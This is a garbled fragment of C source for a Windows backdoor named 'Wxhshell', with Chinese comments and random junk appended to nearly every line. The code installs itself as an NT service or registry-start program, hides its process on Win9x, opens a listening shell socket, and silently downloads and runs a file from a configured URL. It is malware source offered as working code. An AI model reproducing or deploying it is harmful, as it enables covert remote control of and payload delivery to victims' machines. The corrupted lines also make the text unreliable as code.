DWORD AffinityMask; @q|c|X:I
DWORD BasePriority; gsIp y
ULONG UniqueProcessId; !}d_$U$
ULONG InheritedFromUniqueProcessId; Ngrj@_J
} PROCESS_BASIC_INFORMATION; S>[&]
W
Emh
PROCNTQSIP NtQueryInformationProcess; JFRbWQ0
U
d+6=Us{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U,<?]h
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q)"yP\
M VE:JNm
HANDLE hProcess; #E/|WT
PROCESS_BASIC_INFORMATION pbi; +D h?MQt?
0sq?>$~Kc*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z4k'c+
if(NULL == hInst ) return 0; (>\4%(pnD
;M O,HdP;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =EHKu|rX~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P!R`b9_U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H/0b3I^
V4*/t#L/
if (!NtQueryInformationProcess) return 0; bM,%+9oz;
Z%{`j!!p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Z[ p@Ux
if(!hProcess) return 0; 2"Ki5
BS?rKtdm(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _:XX+3W7
gp\o|igT
CloseHandle(hProcess); J32"Ytdo<
~. 5[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n}J!?zZc
if(hProcess==NULL) return 0; ur+ \!y7^R
ad<ZdO*h
HMODULE hMod; Xq$9H@.
char procName[255]; D'Kiy
unsigned long cbNeeded; ;k=`J
1:Raa 5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZyrVv\'
]%(X}]}
CloseHandle(hProcess); U uSCqI};
{UuSNZ[^
if(strstr(procName,"services")) return 1; // 以服务启动 w!l*!G
%G,d&%f
return 0; // 注册表启动 0[-@<w ^j
} *)T7DN8
p+F>+OQ*
// 主模块 DPWnvd
int StartWxhshell(LPSTR lpCmdLine) )5<c8lzp
{ IP#qT
`=}
SOCKET wsl; <[z9*Tm
BOOL val=TRUE; 6 Znt
int port=0;
{u$<-W-&
struct sockaddr_in door; pq,8z= Uf
#@cEJV;5"
if(wscfg.ws_autoins) Install(); zE=^}K+
h(FFG%H(
port=atoi(lpCmdLine); Z"9D1Uk
j-/F*P
if(port<=0) port=wscfg.ws_port; YZc{\~d
1{CVd m<9
WSADATA data; nhB.>ReAi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P\2x9T
N}\3UHtO
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $*+`;PG-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sWMY
Lo
door.sin_family = AF_INET; o[k,{`M0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); HA;G{[X
door.sin_port = htons(port); zRA,Yi4;+
ugQySg>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GOY!()F
closesocket(wsl); 4#D>]AX
return 1; Z7=k$e
} |EP=<-|
bSk)GZyH\d
if(listen(wsl,2) == INVALID_SOCKET) { {xQ(xy
closesocket(wsl); "tU,.U
return 1; oN.#q$\` k
} 3Ebkq[/*%
Wxhshell(wsl); 4nD U-P#f
WSACleanup(); >^adxXw.o
9y*pn|A[F
return 0; cG4$)q;q
wGx*Xy1n<
} q4KYC!b
Z:<6Ck
// 以NT服务方式启动 d6g^>}-!t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WTj,9
{ Si=u=FI1e
DWORD status = 0; [_3L
DWORD specificError = 0xfffffff; f5vsxP)Y[
x4/f5
serviceStatus.dwServiceType = SERVICE_WIN32; \`|OAC0a
serviceStatus.dwCurrentState = SERVICE_START_PENDING; B&z~}lL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e-YMFJtoK}
serviceStatus.dwWin32ExitCode = 0; 2PEA<{u
serviceStatus.dwServiceSpecificExitCode = 0; pa6-3c
serviceStatus.dwCheckPoint = 0; F)uS2
serviceStatus.dwWaitHint = 0; ]|K@0,
-<@QR8:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k`r`ZA(kQ-
if (hServiceStatusHandle==0) return; Y2P%0
l#!6
tw+e?
status = GetLastError(); +Am\jsq
if (status!=NO_ERROR) KOVR=``"/
{ W< :7z
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4w(#`'I>
serviceStatus.dwCheckPoint = 0; 8Rd*`]@[pk
serviceStatus.dwWaitHint = 0; (-hGb:
serviceStatus.dwWin32ExitCode = status; 5c6?$v/
serviceStatus.dwServiceSpecificExitCode = specificError; ,&rHBNS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kPFqsq
return; ,I8[tiR"b
} bLyaJ%pa\/
Wt9'-"c
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7G
&I]>
serviceStatus.dwCheckPoint = 0; @LR :^>&*
serviceStatus.dwWaitHint = 0; vC%8-;8{H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9\a;75a
} "tg?V
pcO0xrI
// 处理NT服务事件,比如:启动、停止 oC1Nfc+
VOID WINAPI NTServiceHandler(DWORD fdwControl)
^#&:-4/
{ ffoLCx4o0E
switch(fdwControl) #@K
%Mx
{ :B5M#D!dO
case SERVICE_CONTROL_STOP: ^U]B&+m
serviceStatus.dwWin32ExitCode = 0; ;wj8:9
;
serviceStatus.dwCurrentState = SERVICE_STOPPED; *BAR`+;U
serviceStatus.dwCheckPoint = 0; =.8fES
serviceStatus.dwWaitHint = 0; v0'`K 5M
{ N9gbj%+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y-^m
} PuGc{kt
return; s(shgI 3g
case SERVICE_CONTROL_PAUSE: s|o+
Im
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4~mmP.c
break; ^Qa!{9o[
case SERVICE_CONTROL_CONTINUE: xHi.N*~D
serviceStatus.dwCurrentState = SERVICE_RUNNING; m}o4Vr;"
break; ;]sbz4?
case SERVICE_CONTROL_INTERROGATE: &u~#bDh
break; clO9l=g
}; (|.rEaTA[1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oS Apa
} <t"|wYAa_
MtKM#@
// 标准应用程序主函数 Eao^/MKx-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9a3mN(<
{ oeIza<:=R
U6yZKK
// 获取操作系统版本 ud:5_*
OsIsNt=GetOsVer(); VDy\2-b8d
GetModuleFileName(NULL,ExeFile,MAX_PATH); >Eqr/~Q
N
Obw/9JO
// 从命令行安装 DRuG5| {I:
if(strpbrk(lpCmdLine,"iI")) Install(); F%^)oQT+c
\9`76*X6
c
// 下载执行文件 6Dz N.fz
if(wscfg.ws_downexe) { :*dfP/GO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &_W~d0
WinExec(wscfg.ws_filenam,SW_HIDE); n|AV7c
} `T(T]^C98
?Oyps7hXx
if(!OsIsNt) { qM8"* dL
// 如果时win9x,隐藏进程并且设置为注册表启动 b&\f 8xZ
HideProc(); {'$+?V"&
StartWxhshell(lpCmdLine); rs+
["h
} q>Kzl/~c.P
else n>\2_$uDI
if(StartFromService()) O6Mxp-
// 以服务方式启动 o#=@!m
StartServiceCtrlDispatcher(DispatchTable); t)4AQ
else vj hh4$k
// 普通方式启动 <%GfF![v
StartWxhshell(lpCmdLine); >dYN@cB$}
W~qVZ(G*U
return 0; \zM3{{mV/
}